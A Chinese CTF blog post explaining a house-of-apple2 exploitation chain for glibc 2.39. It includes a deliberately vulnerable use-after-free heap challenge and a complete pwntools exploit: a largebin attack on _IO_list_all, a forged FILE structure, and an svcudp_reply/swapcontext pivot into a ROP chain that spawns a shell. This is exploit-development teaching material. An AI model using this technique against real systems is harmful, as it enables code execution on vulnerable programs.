基于house-of-apple2的GLIBC2.39利用

前言

ubuntu更新到24了,感觉得看下glibc最新的利用,防止有师傅出2.39的题目

感谢REtard师傅在利用上给的两个关键建议

利用条件

泄露libc地址和堆地址

一次地址任意写(一般是largebin attack)

可以触发io流

house of apple2利用链

触发的方式和2.35并没有什么区别,直接调用exit或者从main函数返回退出,或是malloc_assert输出报错信息都行

exit触发的链

1
exit->fcloseall->_IO_cleanup->_IO_flush_all->_IO_wfile_overflow->_IO_wdoallocbuf

image-20240530162844058

利用方法就是劫持_IO_list_all为堆地址,从而伪造io结构体

前面的apple2的伪造感觉没什么说的,和2.35并没有什么太大差别,只需要调试一下看下几个check的点,稍微改一改就行了

后续利用

在2.35的apple2中,是可以直接控制rdx寄存器来打setcontext的,从而可以从容的写rop或者是orw,但是在2.39这里apple2的利用链并不能控制rdx寄存器,所以这里选择的是

1
2
svcudp_reply
swapcontext

image-20240530163629351

image-20240530163512303

先通过svcudp_reply控制r12寄存器,然后用swapcontext控制rsp,最后ret,就可以让程序执行我们的rop或者orw了

例题

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
//gcc heap.c -o heap
#include <stdio.h>
#include <stdlib.h>

void * ptr[0x10] = {0};
int ptr_size[0x10] = {0};

void init(){
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("LitCTF2024 heap 2.35");
}

void menu(){
puts("1. create");
puts("2. delete");
puts("3. show");
puts("4. edit");
puts("5. exit");
printf(">>");
}

int create(){
int idx = 0, size = 0;
printf("idx? ");
scanf("%d", &idx);
if(idx < 0 || idx >= 0x10 || ptr[idx]){
puts("error !");
return 0;
}
printf("size? ");
scanf("%d", &size);
if(size<0x410 || size >0x1000)
{
puts("error !");
return 0;
}
ptr[idx] = malloc(size);
if(!ptr[idx]){
puts("malloc error!");
exit(1);
}
ptr_size[idx] = size;
}
int delete(){
int idx = 0;
printf("idx? ");
scanf("%d", &idx);

if(idx < 0 || idx >= 0x10 || !ptr[idx]){
puts("no such chunk!");
return 0;
}
free(ptr[idx]);
}
int show(){
int idx = 0;
printf("idx? ");
scanf("%d", &idx);

if(idx < 0 || idx >= 0x10 || !ptr[idx]){
puts("no such chunk!");
return 0;
}
printf("content : %s\n", (char *)ptr[idx]);
}

int edit(){
int idx = 0;
printf("idx? ");
scanf("%d", &idx);

if(idx < 0 || idx >= 0x10 || !ptr[idx]){
puts("no such chunk!");
return 0;
}
puts("content : ");
read(0, (char *)ptr[idx], ptr_size[idx]);
}

void Exit(){
for(int i = 0; i < 0x10; i++){
if(!ptr[i]){
free(ptr[i]);
ptr[i] = 0;
ptr_size[i] = 0;
}
}
exit(0);
}

int main(){
init();
int idx = 0;
while(1){
menu();
scanf("%d", &idx);
switch(idx){
case 1:
create();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
Exit();
break;
default:
puts("error!");
break;
}
}

return 0;
}

题目就是一个简单的堆题,就一个uaf的漏洞,然后只能申请0x410-0x1000大小的堆块

可以只用一次largebin attack将_IO_list_all写入堆地址完成利用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from pwn import *
from ctypes import *
from struct import pack
banary = "./heap"
elf = ELF(banary)
#libc = ELF("./libc.so.6")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ip = '192.168.182.137'
port = 10006
local = 1
if local:
io = process(banary)
else:
io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
gdb.attach(io)
pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()

def cmd(choice):
ru(">>")
sl(str(choice))

def add(index,size):
cmd(1)
ru("idx? ")
sl(str(index))
ru("size? ")
sl(str(size))

def delete(index):
cmd(2)
ru("idx? ")
sl(str(index))

def show(index):
cmd(3)
ru("idx? ")
sl(str(index))

def edit(index,content):
cmd(4)
ru("idx? ")
sl(str(index))
ru("content : ")
s(content)

add(0,0x420)
add(1,0x18)
add(2,0x418)

delete(0)
add(3,0x460)
delete(2)

show(0)
fd=uu64()
libcbase=fd-0x203f10
lg("fd")
lg("libcbase")

one=[0x50a47,0xebc81,0xebc85,0xebc88,0xebce2,0xebd3f,0xebd43]
onegadget=libcbase+one[1]
l_next=libcbase+0x3fe890
rtld_global=libcbase+0x3fd040
system=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
setcontext=libcbase+libc.sym['setcontext']+61
_IO_list_all = libcbase + libc.sym['_IO_list_all']
ret=libcbase+0x000000000002882f
pop_rdi=libcbase+0x000000000010f75b
leave_ret=libcbase+0x00000000000299d2
swapcontext=libcbase+0x000000000005814D
svcudp_reply=libcbase+0x000000000017923D
one=[0x583dc,0x583e3,0xef4ce,0xef52b]
one_gadget=libcbase+one[3]
lg("l_next")
lg("rtld_global")

edit(0,b'A'*0x10)
show(0)
ru(b'A'*0x10)
heapbase=uheap()-0x290
lg("heapbase")
edit(0,p64(fd)*2+p64(heapbase+0x290)+p64(_IO_list_all-0x20))

add(4,0x490)

fake_heap=heapbase+0xb00+0x10
heap1=fake_heap+0x88
IO_wfile_jumps = libcbase + 0x202228#_IO_wfile_jumps

lg("fake_heap")
lg("heap1")
fake_file = b''
fake_file = p64(0)+p64(1)
fake_file= fake_file.ljust(0x28,b'\x00')+p64(heap1)
fake_file = fake_file.ljust(0x68,b'\x00')+p64(fake_heap)
fake_file = fake_file.ljust(0x80,b'\x00')+p64(fake_heap)
fake_file = fake_file.ljust(0xb8,b'\x00')+p64(IO_wfile_jumps)
payload = cyclic(0x10)+fake_file
edit(2,payload)

payload = b''
payload = payload.ljust(0x58,b'\x00')+p64(svcudp_reply)
payload = payload.ljust(0xa0,b'\x00')+p64(fake_heap+0x120-0x28)+p64(ret)
payload = payload.ljust(0xc0,b'\x00')+p64(fake_heap)+p64(0)*3+p64(fake_heap-0x10)+p64(0)
payload +=b'\x00'*0x28+p64(fake_heap)
payload +=p64(swapcontext)
payload = payload.ljust(0x128,b'\x00')+p64(fake_heap+0x130)+p64(ret)*2+p64(pop_rdi)+p64(bin_sh)+p64(system)
payload = payload.ljust(0x168,b'\x00')+p64(fake_heap)
edit(3,payload)
dbg()
cmd(5)

ia()

基于house-of-apple2的GLIBC2.39利用
http://blogyoulin.top/2024/05/30/house-of-apple2-GLIBC2-39/
Author
John Doe
Posted on
May 30, 2024
Licensed under